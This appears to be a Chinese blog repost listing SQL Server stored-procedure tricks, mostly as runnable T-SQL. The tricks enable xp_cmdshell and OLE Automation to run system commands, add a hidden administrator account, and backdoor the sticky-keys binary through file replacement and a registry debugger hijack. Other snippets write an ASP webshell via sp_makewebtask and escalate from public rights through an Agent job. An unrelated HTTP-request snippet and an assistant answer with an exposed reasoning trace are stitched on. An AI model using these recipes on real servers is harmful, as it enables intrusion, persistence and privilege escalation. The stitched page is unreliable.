SQL 不常用的一些命令sp_OACreate,xp_cmdshell,sp_makewebtask

本文详细介绍了SQL Server中高危存储过程的使用方法,包括开启和关闭xp_cmdshell、sp_oacreate、sp_makewebtask及openrowset等,展示了如何通过这些过程执行系统命令、创建和删除文件、移动文件、加管理员用户等操作。
  • 开启和关毕xp_cmdshell
  •  
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshell
  •  
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 关毕xp_cmdshell
  •  
    EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  •  
    2.
  •  
    xp_cmdshell执行命令
  •  
    EXEC master..xp_cmdshell 'ipconfig'
  •  
    3.
  •  
    开启和关毕sp_oacreate
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 开启
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; 关毕
  •  
    EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  •  
    4.
  •  
    sp_OACreate删除文件
  •  
    DECLARE @Result int
  •  
    DECLARE @FSO_Token int
  •  
    EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
  •  
    EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat'
  •  
    EXEC @Result = sp_OADestroy @FSO_Token
  •  
    5.
  •  
    sp_OACreate复制文件
  •  
    declare @o int
  •  
    exec sp_oacreate 'scripting.filesystemobject', @o out
  •  
    exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  •  
    6.
  •  
    sp_OACreate移动文件
  •  
    declare @aa int
  •  
    exec sp_oacreate 'scripting.filesystemobject', @aa out
  •  
    exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';
  •  
    7.
  •  
    sp_OACreate加管理员用户
  •  
    DECLARE @js int
  •  
    EXEC sp_OACreate 'ScriptControl',@js OUT
  •  
    EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
  •  
    EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
  •  
    8.
  •  
    开启和关毕sp_makewebtask
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕
  •  
    EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  •  
    9.
  •  
    sp_makewebtask新建文件
  •  
    exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--
  •  
    10.
  •  
    wscript.shell执行命令
  •  
    use master
  •  
    declare @o int
  •  
    exec sp_oacreate 'wscript.shell',@o out
  •  
    exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
  •  
    11.
  •  
    Shell.Application执行命令
  •  
    declare @o int
  •  
    exec sp_oacreate 'Shell.Application', @o out
  •  
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
  •  
    or
  •  
    exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
  •  
    12.
  •  
    开启和关毕openrowset
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启
  •  
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 关毕
  •  
    EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
  •  
    13.
  •  
    沙盒执行命令
  •  
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
  •  
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
  •  
    14.
  •  
    注册表劫持粘贴键
  •  
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
  •  
    Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
  •  
    15.
  •  
    sp_oacreate替换粘贴键
  •  
    declare @o int
  •  
    exec sp_oacreate 'scripting.filesystemobject', @o out
  •  
    exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  •  
    declare @oo int
  •  
    exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
  •  
    16.
  •  
    public权限提权操作
  •  
    USE msdb
  •  
    EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
  •  
    @enabled = 1,
  •  
    @description = 'This will give a low privileged user access to
  •  
    xp_cmdshell',
  •  
    @delete_level = 1
  •  
    EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
  •  
    @step_name = 'Exec my sql',
  •  
    @subsystem = 'TSQL',
  •  
    @command = 'exec master..xp_execresultset N''select ''''exec
  •  
    master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
  •  
    EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
  •  
    @server_name = 'SERVER_NAME'

  • EXEC sp_start_job @job_name = 'GetSystemOnSQL'
  •  

-

转载于:https://www.cnblogs.com/linjincheng/p/9728853.html

DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO
<think>好的,用户想了解如何启用和禁用xp_cmdshell,以及如何使用xp_cmdshellsp_OACreate执行命令。首先,我需要回忆SQL Server中这两个功能的相关知识。 用户之前的引用内容提到了关闭sp_OACreatexp_cmdshell的步骤,现在用户可能想了解启用和禁用的具体方法,以及如何使用它们执行命令。我需要分步骤说明,确保结构清晰。 首先,启用和禁用xp_cmdshell。根据SQL Server的安全配置,xp_cmdshell默认是禁用的,因为它允许执行操作系统命令,存在安全风险。启用时需要先开启高级选项,然后设置参数为1,最后重新配置。禁用则是相反,设为0。要执行这些步骤,用户需要具有适当的权限,比如sysadmin角色。 接下来,关于使用xp_cmdshell执行命令,需要给出示例,比如执行dir命令,并说明如何读取输出。同时要提醒用户注意权限问题,以及潜在的安全隐患,建议在生产环境中谨慎使用。 然后是sp_OACreate的使用。同样需要启用Ole Automation Procedures,步骤类似:开启高级选项,设置参数为1,然后重新配置。示例代码中,使用sp_OACreate创建对象执行命令,比如运行calc.exe。同样需要说明权限要求和安全警告。 在回答过程中,需要引用用户提供的参考内容,即关闭这些功能的步骤,但现在用户需要的是启用和使用,所以要将步骤反过来。同时,要确保语法正确,比如使用RECONFIGURE WITH OVERRIDE,特别是在启用高级选项时。 用户可能还关心如何验证是否启用成功,比如执行测试命令,并处理可能的错误信息。例如,当xp_cmdshell禁用时,执行会报错,提示组件已关闭。 另外,需要注意同版本的SQL Server可能有差异,但基本步骤应该一致。同时,提醒用户这些操作的风险,以及在生产环境中是否应该使用这些功能,或者是否有更安全的替代方案。 最后,生成相关问题,可能涉及安全影响、替代方案、权限管理等,确保覆盖用户可能进一步的问题。</think>### 启用/禁用 `xp_cmdshell` 与 `sp_OACreate` #### 一、启用 `xp_cmdshell` 1. **开启高级选项**: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; ``` 2. **启用 `xp_cmdshell`**: ```sql EXEC sp_configure 'xp_cmdshell', 1; --禁用则设为0 RECONFIGURE WITH OVERRIDE; ``` 3. **验证是否启用成功**: ```sql EXEC xp_cmdshell 'dir c:\'; --成功会返回目录列表 ``` #### 二、禁用 `xp_cmdshell` ```sql EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE WITH OVERRIDE; ``` #### 三、通过 `xp_cmdshell` 执行命令 示例:执行系统命令并获取结果 ```sql EXEC xp_cmdshell 'echo Hello, SQL Server > C:\test.txt'; EXEC xp_cmdshell 'type C:\test.txt'; ``` #### 四、启用 `sp_OACreate` 1. **开启高级选项**: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; ``` 2. **启用 `Ole Automation Procedures`**: ```sql EXEC sp_configure 'Ole Automation Procedures', 1; --禁用则设为0 RECONFIGURE WITH OVERRIDE; ``` #### 五、通过 `sp_OACreate` 执行命令 示例:调用Windows脚本宿主执行命令 ```sql DECLARE @shell INT; EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'calc.exe'; --打开计算器 ``` ### 安全警告 - `xp_cmdshell` 和 `sp_OACreate` 需 `sysadmin` 权限才能操作[^1] - 启用后会显著增加数据库受攻击面,建议仅在测试环境使用 - 生产环境推荐使用代理账户或CLR集成替代高风险组件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值